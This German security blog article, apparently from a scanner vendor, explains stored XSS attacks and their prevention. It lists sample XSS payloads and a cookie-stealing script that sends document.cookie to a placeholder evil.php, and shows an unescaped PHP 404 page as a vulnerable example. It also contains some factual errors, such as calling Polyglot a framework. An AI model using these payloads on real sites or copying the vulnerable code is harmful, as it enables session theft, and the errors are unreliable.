Bei einem Cross-Site-Scripting-Angriff (XSS) beeinträchtigt der Angreifer die Interaktion der Benutzer mit einer Webanwendung, indem er bösartigen Code einschleust. Dieser Code manipuliert den Webserver, damit er auf Benutzeranfragen mit beschädigtem JavaScript antwortet. Es gibt drei Hauptarten von XSS-Angriffen: Reflektierte XSS, Stored XSS und DOM-basierte Cross-Site-Scripting-Angriffe.
In diesem Beitrag geht es um Stored XSS-Angriffe und wie man sie verhindern kann.
Gespeicherte Cross-Site Scripting-Angriffe erklärt
Bei einem gespeicherten XSS-Angriff empfängt die anfällige Webanwendung vom Benutzer bereitgestellte Eingaben aus nicht vertrauenswürdigen Quellen und speichert sie. Dieser bösartige Inhalt wird auch in die später vom Server gesendeten HTTP-Antworten aufgenommen. Um einen Stored XSS-Angriff durchzuführen, müssen Hacker lediglich eine Sicherheitslücke in der Backend-Anwendung finden, die die Ausführung bösartiger Anfragen ermöglicht. Dadurch wird die Ausnutzung erleichtert, da die Hacker keine externen Methoden entwickeln müssen, um nicht vertrauenswürdige Eingaben an den Zielanwendungsserver zu übermitteln.
Gespeicherte XSS-Angriffe, auch bekannt als Typ-1- oder persistente XSS-Angriffe, beruhen in der Regel auf nicht sanitisierten Benutzereingaben für Skripte, die dauerhaft auf den Zielservern gespeichert sind. Da diese Angriffe böswilligen Benutzern die Kontrolle darüber ermöglichen, wie der Browser ein Skript ausführt, können sie in der Regel eine vollständige Übernahme des Benutzerkontos ermöglichen. Die Auswirkungen eines erfolgreichen Angriffs reichen von einer leichten bis hin zu einer vollständigen Kompromittierung, je nachdem, welche Privilegien dem betroffenen Benutzer zugewiesen wurden. Einige Folgen erfolgreicher XSS-Angriffe sind:
- Session-Hijacking-Angriffe
- Privilegienerweiterung
- Offenlegung von Benutzerdateien/Daten
- Installation von Malware/Trojaner-Programmen
- Umleitung von Nutzern auf vertrauenswürdig aussehende Klon-Anmeldeformulare für Phishing-Versuche
- Spoofing von Webinhalten
Gespeicherter XSS unterscheidet sich von reflektiertem XSS. Bei reflektiertem XSS führt der Server den bösartigen Inhalt aus und fügt ihn nur in die unmittelbare HTTP-Antwort ein, während bei gespeichertem XSS der beliebige Code gespeichert wird. Im Gegensatz zu anderen XSS-Angriffen, bei denen der Benutzer zum Zeitpunkt der Einspeisung des bösartigen Codes angemeldet sein muss, wird die gespeicherte XSS-Nutzlast im Webserver gespeichert und vom Browser für jeden Benutzer, der sich anmeldet, ausgeführt, was diese Art von Angriff gefährlicher macht.
Hacker haben es schon lange auf gespeicherte XSS-Schwachstellen abgesehen, da der in der Zielanwendung gespeicherte bösartige Code eine enorme Reichweite hat.
Gespeicherte XSS-Payloads
Ein persistenter Angriff zielt darauf ab, bösartigen Code in beliebte Eingabepunkte zu injizieren, die von Benutzern bereitgestellt werden, wie z. B. Kommentare in Blogbeiträgen, Felder für Benutzernamen und Messageboards. Die Nutzlast ermöglicht es dem böswilligen Benutzer, XSS-Filter und Eingabevalidierungsprüfungen zu umgehen. Die Kenntnis dieser Payloads ist für Anwendungssicherheitsexperten, die die gespeicherte XSS-Schwachstelle testen und entschärfen wollen, unerlässlich. Einige dieser Payloads sind:
Die Polyglot-basierte XSS-Nutzlast
Diese Art von Angriff zielt auf eine Schwachstelle in Polyglot ab – ein Framework, das die Ausführung von Code in mehreren Kontexten in Rohform ermöglicht. Dies schafft einen Angriffsvektor für XSS-Injektionen, da Angreifer Polyglot-Skripte verwenden können, um Content Security Policies (CSPs) zu umgehen. Ein typisches polyglottes XSS-Skript würde etwa so aussehen:
javascript:/*--></title></style></textarea></script></xmp>
<svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>Die JavaScript-Anweisung für Image XSS
Diese Nutzlast ermöglicht die Ausführung von JavaScript im Kontext eines Bildes. Angreifer nutzen diese Strategie hauptsächlich, um bösartige Aktivitäten auf Benutzerprofilseiten und anderen Bildlinks durchzuführen. Das Skript würde wie folgt aussehen:
<IMG SRC="javascript:alert('XSS');"><IMG SRC="javascript:alert('XSS');">Umgehung der HTML-Entity-Codierung
Die HTML-Entity-Codierung bildet eine typische erste Verteidigungslinie gegen Cross-Site-Scripting-Schwachstellen, indem sie eine Validierung der Eingabedaten vornimmt. Bösewichte entwickeln oft Skripte, um die HTML-Kodierung zu umgehen oder zu deaktivieren, so dass sie ungeprüfte Eingaben an den Server übermitteln können. Der Code zur Umgehung der HTML-Entität würde etwa so aussehen:
<IMG SRC=javascript:alert("XSS")> Unzulässige IMG-Tags
Diese Angriffs-Nutzlast beruht auf einem fehlerhaften Browser-Rendering, um eine Angriffsfläche in einem <IMG>-Tag zu schaffen. Dies ermöglicht es ihnen, eine JavaScript-Ereignismethode in alle Objekte einzufügen, die innerhalb von Bild-Tags erstellt werden. Das nachstehende Codesegment zeigt ein missgebildetes IMG-Tag, das zum Testen und Ausnutzen gespeicherter XSS-Schwachstellen verwendet wird. Das Skript würde ähnlich wie folgt aussehen:
<IMG """><SCRIPT>alert("XSS")</SCRIPT>"\> Beispiele für gespeicherte XSS-Angriffe
Zu den Möglichkeiten, gespeicherte Cross-Site-Scripting-Schwachstellen auszunutzen, gehören:
Cookie Grabbing
Angreifer können ein Sitzungscookie von angemeldeten, authentifizierten Benutzern stehlen. Sie injizieren clientseitige Skripte, die den Inhalt des Authentifizierungs-Cookies des Dokuments als Escape übergeben. Dazu müssen sie nur den folgenden Code in jedes Formular einfügen, das Benutzereingaben akzeptiert, z. B. in Benutzerprofile, private Nachrichten oder Benutzerforen:
<SCRIPT type="text/javascript"> var adr = '../evil.php?cakemonster=' + escape(document.cookie); </SCRIPT> Diese Skriptausführung schreibt die Cookie-Details in die Datei evil.php, wo Angreifer das Ergebnis des Skripts überprüfen können, um die Identität des Benutzers anzunehmen.
Manipulation von Fehlerseiten
Angreifer können auch auf Fehlermeldungen wie die klassische 404-Fehlerseite abzielen, die den Benutzer über nicht existierende Seiten informiert, um XSS-Code einzuschleusen. Angenommen, die Seite, die den Benutzer über die fehlende Seite informiert, läuft auf einem ähnlichen Code wie:
<html> <body> <? php print "Nicht gefunden:". urldecode($_SERVER["REQUEST_URI"]); ?> </body> </html> Wenn also ein Benutzer eine nicht existierende Webseite anklickt, die sich unter http://darwin.test/non_existent_file befindet, würde er die Antwort erhalten: Not found: /nicht_existierende_datei
Angreifer können diese Fehlerseite so manipulieren, dass sie einen schädlichen Code enthält: http://darwin.test/<script>alert(„TEST“);</script>, die HTTP-Antwort ist jetzt eine Fehlerseite, aber sie würde auch den schädlichen JavaScript-Code enthalten <script>alert(„TEST“);</script>
Da die Skript-Tags nun erfolgreich eingeschleust wurden, können Benutzer dazu verleitet werden, auf den bösartigen Link in einer Phishing-E-Mail oder mit Social-Engineering-Tricks zu klicken.
Leitfaden
Cross-Site-Scripting (XSS) ist einer der bekanntesten Injektionsangriffe. Erfahren Sie, wie Sie diese Angriffsart erkennen und verhindern können.
Verhindern von gespeicherten XSS-Schwachstellen
Im Folgenden finden Sie Möglichkeiten, wie Sie Hacker daran hindern können, die gespeicherte XSS-Schwachstelle in einer Webanwendung auszunutzen:
Korrekte Eingabevalidierung durchführen
Die Validierung von Eingaben ist der wichtigste Schritt, um jegliche Art von Injektionsangriff zu verhindern. Ordnungsgemäße Eingabevalidierungskontrollen müssen auf jeder Ebene der Anwendung durchgeführt werden, um sicherzustellen, dass nur vertrauenswürdige Benutzereingaben akzeptiert werden. Die Verschlüsselung von Eingaben vor der Übermittlung an den Browser stellt sicher, dass Angreifer die vom Benutzer eingegebenen Daten nicht manipulieren können.
Die Webentwickler sollten außerdem auf jeder Stufe des Software-Lebenszyklus Integritätsprüfungen durchführen, um sicherzustellen, dass die Zielanwendung keine gefährlichen Inhalte in ihrer Antwort enthält. Dazu gehören auch Inhaltsfilterprüfungen, um sicherzustellen, dass die Eingaben der Benutzer die Geschäftsregeln nicht missbrauchen und dass die Datenparameter innerhalb der zulässigen Bereiche bleiben.
Verwenden Sie einen Schwachstellen-Scanner
Es ist schwierig, manuell auf gespeicherte XSS-Schwachstellen zu testen. Ein automatischer Schwachstellen-Scanner kann alle Dateneingabe- und -ausgabepunkte prüfen, die zur Einspeisung und Ausführung bösartiger Skripts verwendet werden. Die Crashtest Security Suite wird mit einem Schwachstellen-Scanner ausgeliefert, der dabei hilft, XSS-Angriffe zu verhindern, indem er die Beziehungen zwischen Eingabe- und Antwort-Ausgangspunkten abbildet, um sicherzustellen, dass nur gültige Skripts vom Server akzeptiert und im Browser ausgeführt werden. Crashtest Security enthält auch eine automatisierte Penetrationstest-Lösung, um gespeicherte XSS-Schwachstellen zu beheben, bevor sie in die Produktion gelangen.
Durchsetzung einer starken Content Security Policy (CSP)
Alle modernen Browser unterstützen CSPs, mit denen Entwickler den Browsern mitteilen, aus welchen Quellen JavaScript und andere Ressourcen geladen werden dürfen. Da gespeicherte XSS-Angriffe darauf beruhen, dass der Angreifer bösartige Inline-<script>-Tags in den <html>-Tag der Seite einfügt, verhindern CSPs Angriffe, indem sie die Same-Origin-Policy umsetzen. Die Sicherheitsrichtlinie für Inhalte wird als <meta>-Tag im <head>-Element der Seite festgelegt.
Dynamische Inhalte ersetzen
Gespeicherte XSS-Angriffe nutzen Schwachstellen bei der Bereitstellung dynamischer Inhalte aus, die im Backend der Anwendung gespeichert sind. Erstens müssen registrierte Benutzer davon abgehalten werden, rohes HTML in Eingabeformulare einzugeben. Außerdem sollten alle dynamischen Inhalte und Sonderzeichen escaped werden, damit der Browser sie nicht als rohen HTML-Quellcode, sondern als Inhalt von HTML-Tags behandelt.
Lesen Sie unseren Leitfaden zur Vermeidung von XSS-Schwachstellen
Häufig gestellte Fragen
Was kann man mit Stored XSS machen?
Durch die willkürliche Ausführung von JavaScript können Angreifer je nach den gehackten Konten und der Sensibilität der offengelegten Daten unterschiedlich großen Schaden anrichten. Einige zu erwartende Folgen von Stored XSS-Angriffen sind:
- Identitätsdiebstahl
- Website-Vandalismus
- Denial-of-Service-Angriffe
- Session-Hijacking
- Verbreitung von Malware über Phishing-E-Mails, Online-Pinnwände und soziale Medien
- Finanzieller Betrug
- Datenschutzverletzungen
Was sind die Unterschiede zwischen DOM-basiertem und persistentem XSS?
Bei DOM-basiertem XSS geben Angreifer bösartigen Code in den Document Object Model (DOM)-Teil ein, der von der clientseitigen Umgebung unsicher verarbeitet wird. Bei dieser Art von Angriff kann es sich um persistentes oder nicht-persistentes XSS handeln. Wenn Angreifer die Backend-Anwendung ausnutzen, um einen Teil der oben genannten Antwort zu kontrollieren, wird das DOM-basierte XSS als persistentes XSS bezeichnet.
